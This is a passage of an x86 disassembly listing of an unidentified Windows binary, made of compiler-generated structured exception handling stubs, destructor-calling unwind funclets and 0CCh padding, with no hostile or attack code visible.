add ecx, 0B28h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40208B
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403720 proc near ; DATA XREF: sub_403720+2o
mov eax, offset dword_43F4C0
jmp sub_437AB8
SEH_403720 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C50 proc near ; DATA XREF: sub_403C50+2o
mov eax, offset dword_43F700
jmp sub_437AB8
SEH_403C50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4392B8: ; DATA XREF: ___:0043F75Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o
mov eax, offset dword_43F730
jmp sub_437AB8
SEH_403CE0 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4392E8: ; DATA XREF: ___:0043F794o
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D60 proc near ; DATA XREF: sub_403D60+2o
mov eax, offset dword_43F768
jmp sub_437AB8
SEH_403D60 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o
mov eax, offset dword_43F7A0
jmp sub_437AB8
SEH_403DE0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_439338: ; DATA XREF: ___:0043F7FCo
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AE6
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403E50 proc near ; DATA XREF: sub_403E50+2o
mov eax, offset dword_43F7D0
jmp sub_437AB8
SEH_403E50 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_4393B8: ; DATA XREF: ___:0043F85Co
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AE6
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403F30 proc near ; DATA XREF: sub_403F30+2o
mov eax, offset dword_43F830
jmp sub_437AB8
SEH_403F30 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404010 proc near ; DATA XREF: sub_404010+2o
mov eax, offset dword_43F890
jmp sub_437AB8
SEH_404010 endp
; ---------------------------------------------------------------------------
db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4394F8: ; DATA XREF: ___:0043F974o
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404690 proc near ; DATA XREF: sub_404690+2o
mov eax, offset dword_43F948
jmp sub_437AB8
SEH_404690 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43957B: ; DATA XREF: ___:0043F9FCo
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439586: ; DATA XREF: ___:0043FA04o
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-134h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E8h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o
mov eax, offset dword_43F9D0
jmp sub_437AB8
SEH_404CC0 endp
; ---------------------------------------------------------------------------
db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------
loc_439820: ; DATA XREF: ___:0043FBD4o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-28h]
and eax, 1
test eax, eax
jz locret_43983E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43983E: ; CODE XREF: ___:00439830j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406730 proc near ; DATA XREF: sub_406730+2o
mov eax, offset dword_43FBA8
jmp sub_437AB8
SEH_406730 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
loc_439860: ; DATA XREF: ___:0043FC0Co
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-198h]
and eax, 1
test eax, eax
jz locret_439884
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_439884: ; CODE XREF: ___:00439876j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o
mov eax, offset dword_43FBE0
jmp sub_437AB8
SEH_4068E0 endp
; ---------------------------------------------------------------------------
db 11h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-454h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398AB: ; DATA XREF: ___:0043FC44o
lea ecx, [ebp-43Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398B6: ; DATA XREF: ___:0043FC4Co
lea ecx, [ebp-424h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406C80 proc near ; DATA XREF: sub_406C80+8o
mov eax, offset dword_43FC18
jmp sub_437AB8
SEH_406C80 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407080 proc near ; DATA XREF: sub_407080+2o
mov eax, offset dword_43FC58
jmp sub_437AB8
SEH_407080 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o
mov eax, offset dword_43FC88
jmp sub_437AB8
SEH_4076B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439928: ; DATA XREF: ___:0043FCE4o
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407740 proc near ; DATA XREF: sub_407740+8o
mov eax, offset dword_43FCB8
jmp sub_437AB8
SEH_407740 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-2C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43994B: ; DATA XREF: ___:0043FD1Co
lea ecx, [ebp-2DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-174h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-15Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-114h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-144h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-27Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-330h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-318h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-34Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-12Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2F8h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-300h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o
mov eax, offset dword_43FCF0
jmp sub_437AB8
SEH_4077E0 endp
; ---------------------------------------------------------------------------
db 0CFh dup(0CCh)
dd 90C84D8Dh, 0C5574CE9h
db 75h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_409660 proc near ; DATA XREF: sub_409660+2o
mov eax, offset dword_4400A0
jmp sub_437AB8
SEH_409660 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A370 proc near ; DATA XREF: sub_40A370+2o
mov eax, offset dword_4400D0
jmp sub_437AB8
SEH_40A370 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-38h]
and eax, 1
test eax, eax
jz locret_439D86
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_439D86: ; CODE XREF: ___:00439D78j
retn
; ---------------------------------------------------------------------------
loc_439D87: ; DATA XREF: ___:0044012Co
lea ecx, [ebp-34h]
jmp sub_401596
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A510 proc near ; DATA XREF: sub_40A510+2o
mov eax, offset dword_440100
jmp sub_437AB8
SEH_40A510 endp
; ---------------------------------------------------------------------------
align 10h
dd 0E9C84D8Dh, 75C556CDh
; ---------------------------------------------------------------------------
xchg eax, edx
loc_439DB9: ; DATA XREF: ___:0040AA32o
mov eax, offset dword_440140
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o
mov eax, offset dword_440170
jmp sub_437AB8
SEH_40AEF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B070 proc near ; DATA XREF: sub_40B070+5o
mov eax, offset dword_4401D0
jmp sub_437AB8
SEH_40B070 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_439DFB: ; DATA XREF: ___:0044025Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_40155F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B190 proc near ; DATA XREF: sub_40B190+2o
mov eax, offset dword_440230
jmp sub_437AB8
SEH_40B190 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_439E4B: ; DATA XREF: ___:004402A4o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_40155F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B250 proc near ; DATA XREF: sub_40B250+2o
mov eax, offset dword_440278
jmp sub_437AB8
SEH_40B250 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o
mov eax, offset dword_4402C0
jmp sub_437AB8
SEH_40B2F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439EC8: ; DATA XREF: ___:0044032Co
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B510 proc near ; DATA XREF: sub_40B510+2o
mov eax, offset dword_440300
jmp sub_437AB8
SEH_40B510 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439EF8: ; DATA XREF: ___:0040B6D2o
mov eax, offset dword_440340
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439F30: ; DATA XREF: ___:0040B9B8o
mov eax, offset dword_440370
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C440 proc near ; DATA XREF: sub_40C440+2o
mov eax, offset dword_4403B8
jmp sub_437AB8
SEH_40C440 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A78h]
jmp loc_401B13
; ---------------------------------------------------------------------------
loc_439F7B: ; DATA XREF: ___:00440414o
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439F86: ; DATA XREF: ___:0044041Co
lea ecx, [ebp-0A54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o
mov eax, offset dword_4403E8
jmp sub_437AB8
SEH_40C4E0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o
mov eax, offset dword_440430
jmp sub_437AB8
SEH_40CBF0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-260h]
jmp loc_40228E
; ---------------------------------------------------------------------------
loc_439FEB: ; DATA XREF: ___:0044048Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439FF6: ; DATA XREF: ___:00440494o
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A001: ; DATA XREF: ___:0044049Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A00C: ; DATA XREF: ___:004404A4o
lea ecx, [ebp-278h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CC90 proc near ; DATA XREF: sub_40CC90+8o
mov eax, offset dword_440460
jmp sub_437AB8
SEH_40CC90 endp
; ---------------------------------------------------------------------------
db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A04B: ; DATA XREF: ___:004404DCo
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CF40 proc near ; DATA XREF: sub_40CF40+2o
mov eax, offset dword_4404B0
jmp sub_437AB8
SEH_40CF40 endp
; ---------------------------------------------------------------------------
